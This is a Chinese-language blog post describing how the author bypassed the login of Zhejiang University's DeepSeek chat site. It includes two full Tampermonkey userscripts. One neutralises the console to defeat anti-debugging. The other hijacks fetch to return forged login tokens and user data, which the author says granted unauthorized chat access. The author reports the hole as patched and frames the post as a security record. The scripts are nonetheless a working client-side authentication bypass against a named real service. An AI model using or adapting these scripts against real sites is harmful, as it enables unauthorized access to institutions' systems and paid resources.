本文仅作为web
安全的记录, 为了避免侵犯浙大的权益, 所有涉及.crash
的代码都会进行打码处理, 也不会给出具体的crash
代码
浙大的服务器已经做升级, 在登陆请求时会同时返回一个model token
, 这个token
作为请求数据时的检验, 所以已经无法通过伪造信息的方式实现对话.
相关代码将完全放出, 仅作为学习交流使用.
一. 前言
经历了deepseek
长达近一个月宣发信息流轰炸, 但除了漫天deepseek
脚踩chatgpt
, 拳打Gemini
, 同时伴随的就是deepseek
的服务器不可用.

随着各种大佬开始大规模自行部署, 最近也上手试了一下, 但是这些deepseek
多是所谓的蒸馏版, mini版, 并不是完整体.
随便扫了一眼青岛水库ithome
新闻, 看到一条感兴趣的:
浙大满血版 DeepSeek 上线免费使用: 无惧系统繁忙, 全国 829 所 CARSI 联盟高校开放共享 - IT之家
本着看评论, 不看新闻的习惯, 跳到页面的最后, 发现ithome
重新开放了评论区, 不需要登陆, 看到一个有趣的评论:
二. 页面分析
不需要登陆就可以用, 还有这种好事, 本着有羊毛就要薅的精神, 果断去试试.
有也浙大的这个站点还在不断新增功能, 代码还在不停的变化, 不同时期看待的代码是不一样的,
在2025年2月20号, 第一次分析页面时, 站点还未启用反调试, 21号就新增了反调试功能.
可以看到这个站点目前的结构还非常简单, 分析并不是很复杂.
当前这个大先生
的页面已经启用反调试, 需要干预才能打开chrome的控制面板. 否则打开控制板会直接跳转404.
干预的方式也很简单, 反调试的实现依赖于console
, 所以直接干掉这个对象的所有函数.
// ==UserScript==
// @name zju_deepseek_debugger
// @namespace https://github.com/Kyouichirou
// @version 0.1
// @description crash zju deepseek
// @author HLA
// @match https://chat.zju.edu.cn/*
// @noframes
// @grant unsafeWindow
// @run-at document-start
// ==/UserScript==
(() => {
// 保存原始的 console 对象
const originalConsole = { ...console };
// 获取 console 对象的所有方法名
const consoleMethods = Object.getOwnPropertyNames(console).filter(
(method) => typeof console[method] === 'function'
);
// 重写所有 console 方法
consoleMethods.forEach((method) => {
unsafeWindow.console[method] = function (...args) {
// 在这里可以添加自定义逻辑
// debugger;
// originalConsole[method]('Intercepted ' + method + ':', ...args);
};
});
})();
由于没有ithome
的账号, 上面评论区的图片无法查看. 但是可以猜测, 应该就是页面设置一个简单的元素遮罩, 覆盖在上面, 或者是有某个脚本和强制登陆相关.
打开页面, 可以看到页面设置了一个遮罩, 但是去掉这个遮罩, 依然还是跳转登陆页面.
使用 ublock
尝试将两个和登陆相关的脚本屏蔽掉, 无效.
三. 解决(已失效)
上述两种方式均失效, 想到了一个比较简单, 但是也很可能不行的方法.
干预登陆请求服务器返回的信息.
理论上, 这种方式是不可能的, 因为一个网站不可能完全依赖于服务器返回的信息, 一般网站的安全验证多是服务器 + 本地的一些信息结合, 双重验证.
例如: cookie(http安全)
, localstorage
等.
找到执行发起登陆请求的代码脚本, 找到请求的函数:
干预的方式很简单, 修改fetch
请求返回的json
内容.
使用TamperMonkey
, 随意写个简单的脚本, 劫持修改fetch
的内容, 不管输入什么账号密码皆返回登陆成功的信息.
// ==UserScript==
// @name zju_deepseek_crash
// @namespace https://github.com/Kyouichirou
// @version 0.1
// @description crash zju deepseek
// @author HLA
// @match https://chat.zju.edu.cn/*
// @noframes
// @grant unsafeWindow
// @run-at document-start
// ==/UserScript==
(() => {
'use strict';
const o_fetch = unsafeWindow.fetch,
g_string = (s, e) => String.fromCharCode(Math.floor(Math.random() * s) + e),
generate_random_string = (length) => Array.from({ length }, () => g_string(...[[10, 48], [26, 65], [26, 97]][Math.ceil(Math.random() * 3) - 1])).join('');
unsafeWindow.fetch = async (url, options) => {
const response = await o_fetch(url, options), r = [
{
code: 200,
data: { token: 'a123DL4BG56', model_token: 'test_token_' + Date.now() },
errors: "0",
msg: "请求成功",
},
{
code: 200,
data: {
id: 658924,
username: "tom",
name: 'student',
email: "tom@zju.edu.cn",
mobile: 13840030433,
avatar: '',
permissions: 1,
department: 1
},
errors: "0",
msg: "请求成功",
}
][['/api/oauth/login1', '/api/oauth/info'].findIndex(e => url.includes(e))];
if (r) response.json = () => response.clone().json().then(_ => {
debugger;
return r; });
return response;
};
})();
至于这部分伪造的信息, 也是随手填进去的.
意想不到的是, 不仅成功登陆进去, 同时发起对话也正常可用.
四. 小结
目前这个大先生的页面依然还可以使用伪造的信息登陆进去, 但是已经无法调用对话.
由于这个站点并不复杂, 调试起来并不困难.
也许是大先生这个站点上线的时间尚短, 很多东西尚未完善, 甚至有部分代码中还包含有开发人员的测试(登陆)账号.
同时如此简单的方式就可以伪装登陆, 甚至还有一小段时间可以直接调用deepseek
模型的服务器, 这种问题的出现实在不应该.